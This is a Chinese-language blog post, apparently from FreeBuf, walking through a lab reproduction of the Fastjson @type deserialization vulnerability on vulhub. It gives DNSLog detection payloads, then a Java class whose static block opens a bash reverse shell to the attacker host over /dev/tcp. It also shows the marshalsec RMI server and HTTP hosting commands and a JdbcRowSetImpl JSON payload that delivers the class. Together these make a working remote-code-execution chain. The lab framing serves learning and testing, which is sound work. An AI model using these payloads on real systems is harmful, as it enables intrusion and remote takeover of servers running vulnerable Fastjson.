BenJM
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
前言
写这篇文章的初衷在于读了太多的相关fastjosn反序列化漏洞文章没有读懂,面试的过程中也经常被问道反序列化的问题,把自己理解的梳理记录一下
漏洞相关
原理:fastjson反序列化漏洞,攻击者可利用恶意json数据中的@type字段来触发漏洞,通过fastjson的反序列化功能执行恶意代码。漏洞的根源在于fastjson引入了AutoType功能,导致在反序列化过程中读取@type字段并调用相应类的setter方法。
危害:这种漏洞可能导致远程代码执行、敏感信息泄露等安全问题。攻击者可以利用这个漏洞来对系统进行攻击。
安全建议:为了防止这种漏洞的发生,建议及时更新fastjson版本或者采取其他安全措施来保护系统安全。
环境信息
靶机centos7(192.168.0.100):docker+vulhub+java1.8
攻击机kali(192.168.0.101):java 1.8+maven 3.9.6如下(自带的Java环境无法完成,maven可以尝试apt安装,建议手动配置)
工具准备
marshalsec安装
git clone https://github.com/mbechler/marshalsec//虚拟机下载慢可以直接去项目打包然后拖进去 cd marshalsec mvn clean package -DskipTests #编译
编译成功后/marshalsec/target会出现marshalsec-0.0.3-SNAPSHOT-all.jar的文件,编译时间可能有点久
漏洞验证
1.从返回信息中获得JOSN信息
验证数据包,访问http://靶机IP:8090 使用burp进行抓包,抓包后将GET传输方式改为POST这个时候会在相应包中返回fastjosn字段信息
可以看到返回的字段中包含了fastjosn信息,有文章说这里提交的请求包要加一个不闭合的 { ,我这里测试发现加 { 之后并不会返回有关fastjosn的信息只有报错,只换成POST就会有返回信息,这里可以多测试一下
还有一些情况,构造的josn会返回当前fastjosn的版本信息,但是这个靶场环境我这里是没有返回
2.利用DNSLog验证是否存在
这里简单说一下为什么DNSLog可以验证漏洞是否存在,通过构造恶意的josn数据发起请求,触发fastjosn反序列化操作执行恶意josn数据,恶意的josn数据中包含了DNSLog域名,那么当攻击者发送包含恶意JSON数据的请求时,DNSLog平台会接收到这个DNS请求并给出回显,从而证明Fastjson存在漏洞
接下来就是去访问DNSLog生成域名(ps:我的谷歌和EG都打不开DNSLog只有火狐可以正常访问),把生成的域名按照如下方式去拼接在请求包,这里需要注意Content-type的类型应该为 application/josn,这个原因是:Content-Type字段为application/json可以让客户端向服务器发送包含JSON格式数据的请求。这样可以更安全地传输数据,同时也能够更方便地处理复杂的数据结构。服务器端可以根据请求中的Content-Type字段来判断请求的数据格式,并做出相应的处理。
当前版本
{"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}
1.2.67版本后payload
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
畸形:{"@type":"java.net.InetSocketAddress"{"address":,"val":"这里是dnslog"}}
在这里:@type字段是JSON中的一个键,用于指定对象的类型。在这个例子中,@type的取值为"java.net.Inet4Address",表示该对象是一个Java中的Inet4Address类型的对象。用于序列化和反序列化对象时标识对象的类型信息。
Content-Type字段为 application/json 可以准确的处理@type中的josn字段
可以看到DNSLog有返回信息
漏洞复现
在攻击机上创建Getshell.java,内容如下:替换IP为你的攻击机IP,端口也一样,这里是指将shell反弹至攻击机的4444端口,编写成功后的文件执行javac Getshell.java进行编译得到Getshell.class
import java.lang.Runtime;
import java.lang.Process;public class Getshell{
static{
try{
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.0.101/4444 0>&1 "};
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception e){
//do nothing
}
}
}
使用python命令在Getshell.class文件所在的位置打开终端开启临时网站环境:
python -m http.server 7766 //端口随意,路径是文件的位置
接下来在攻击kali利用marshalsec开启rmi服务
解释一下这里,上面的环境已经开启了临时的网站环境,环境下面有Getshell.class,这里开启的7788端口是给rmi的,然后把这个端口和7766绑定一起,将RMI服务绑定到7788端口的目的是为了在7788端口上监听RMI请求并响应,而这个路径下面有java类文件Getshell.class,通告构造恶意的josn请求去执行java类文件,达到反弹shell的目的
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.101:7766/#Getshell" 7788
同时创建监听4444端口信息,也就是上面编译后的Getshll.class文件中指向攻击机的端口
然后访问vulhub上的fastjson进行抓包,请求包构造恶意josn请求为访问攻击机下的rmi服务
这里的Content-type的类型与上面相同改为 application/josn 发送请求
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.0.101:7788/Getshell",
"autoCommit":true
}
}
此时攻击机kali7788端口与4444端口状态:已经成功反弹shell
到这里攻击过程就结束了
如果只是探测漏洞,不拿shell的话上面的Getshell.java的文件内容可以为TouchFile.java,进行编译,后面的过程注意文件名的变化,在这里关注rmi监听端口的状态即可
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/successFrank"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
burp请求构造
Content-Type: application/json
Content-Length: 170
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://your-ip:7788/TouchFile",
"autoCommit":true
}
}
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
